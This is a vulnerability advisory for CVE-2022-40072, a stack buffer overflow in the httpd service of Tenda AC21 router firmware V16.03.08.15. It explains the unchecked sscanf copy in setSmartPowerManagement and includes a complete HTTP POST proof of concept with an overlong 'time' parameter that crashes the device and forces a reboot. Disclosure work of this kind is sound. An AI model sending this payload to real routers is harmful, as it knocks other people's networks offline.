Headline
CVE-2022-40072: Vuln/Tenda AC21/7 at main · xxy1126/Vuln
Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: setSmartPowerManagement.
Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview
- Manufacturer’s website information：https://www.tenda.com.cn/
- Firmware download address: https://www.tenda.com.cn/download/detail-3419.html
product information
Tenda A21(V16.03.08.15), latest version of simulation overview：
description****1. Vulnerability Details
Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionsetSmartPowerManagement
Attackers can cause this vulnerability via parameter time
the sscanf function read string from s, and pass to v10 which is on the stack without checking its length, so there is a buffer overflow vulnerability.
2. Recurring loopholes and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /goform/PowerSaveSet HTTP/1.1 Host: 192.168.0.1 Content-Length: 1087 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/system_time.html?random=0.9241437684734013& Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Cookie: password=25d55ad283aa400af464c76d713c07adqtucvb Connection: close
nptr=0&powerSaveDelay=0&ledCloseType=0&time=11:11-11:11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
By sending this poc, we can makehttpd reboot